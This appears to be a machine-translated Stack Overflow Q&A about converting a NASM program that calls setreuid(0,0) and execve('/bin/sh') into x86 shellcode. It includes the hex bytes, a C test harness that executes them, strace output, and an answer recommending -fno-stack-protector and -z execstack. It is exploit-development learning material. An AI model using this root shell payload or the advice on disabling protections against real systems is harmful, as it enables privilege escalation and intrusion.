2014-01-10 95 views
3

好吧,我寫了一個生成shell的ASM文件。我怎樣才能把它變成shellcode?

然而,.text段變爲「READONLY」,所以我讓一切都在.data段。當我用NASM和ld編譯它時,它完美地工作。然後,當我使用shellcode並在C程序中運行它時,我會發生故障。

ASM:

SECTION .data 
     global _start 
_start: 
     xor eax, eax 
     xor ebx, ebx 
     xor ecx, ecx 
     xor edx, edx 
     mov al, 70d 
     int 80h 
     jmp jump 
rev: 
     pop ebx 
     xor eax, eax 
     mov BYTE [ebx+7], al 
     mov DWORD [ebx+8], ebx 
     mov DWORD [ebx+12], eax 
     mov al, 11d 
     lea ecx, [ebx+8] 
     lea edx, [ebx+12] 
     int 80h 
jump: 
     call rev 
shell: db "/bin/sh011112222" 

當我編譯:

nasm -f elf32 -o temporary_file.o 
ld -s -m elf_i386 -o shell temporary_file.o 

一切完美的作品。我可以./shell和一個shell產生。然而,當我使用:

objdump的-D殼(objdump的-d殼不顯示.data段)

和更改成\ X ??格式,我無法執行shell。 的Shellcode:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32 

和C檔:

#include <stdio.h> 
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31..."; 

int main(){ 
     printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode)); 
     ((void(*)(void))shellcode)(); 
     return 0; 
} 

賽格故障。

下面是NASM編譯的文件的strace輸出的前幾行:

[[email protected] tut]# strace ./exec 
execve("./exec", ["./exec"], [/* 25 vars */]) = 0 
[ Process PID=30445 runs in 32 bit mode. ] 
setreuid(0, 0)       = 0 
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0 
[ Process PID=30445 runs in 64 bit mode. ] 

現在,這裏是用的shellcode的C編譯的文件的strace輸出:

[[email protected] tut]# strace ./shell 
execve("./shell", ["./shell"], [/* 25 vars */]) = 0 
brk(0)         = 0x238b000 
access("/etc/ld.so.preload", R_OK)  = -1 ENOENT (No such file or directory) 
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 
+0

我會更新OP與strace的輸出:) – Goodies

+0

我想你混淆你的參數的execve?你在ebx中保存/ bin/sh的地址,並在ecx中保存該地址的地址? – ccKep

+0

嗯,它仍然有效。這是令人困惑的部分。 ecx必須包含ebx的地址,而不是指針本身。 – Goodies

回答

4

在你的C程序,替換:

unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31..."; 

unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31..."; 

否則GCC將其放在一個只讀部分(與-S編譯生成彙編,並採取看看節)

此外,您可能需要使用-fno-stack-protector -z execstack編譯它,以避免堆棧保護。

0

這是不可能的。

第一個問題:如果編譯C程序作爲64位程序不能用32位代碼混合它。我假定你做到了。

,第二個:即使你編譯C程序作爲32位程序(你必須安裝32位共享庫,以便您可以運行它),你可以運行的程序。這是因爲Linux的內存管理將通過設置MMU的NX位來禁止執行數據段中的代碼。

這意味着:試圖在一個字符串來執行代碼(如你這樣做)會導致段錯誤!

+0

嗯......當我基本上擦除整個「rev」部分並將其替換爲退出系統調用時,它在編譯,更改時運行良好shellcode,放入C文件,編譯並執行。 – Goodies

相關問題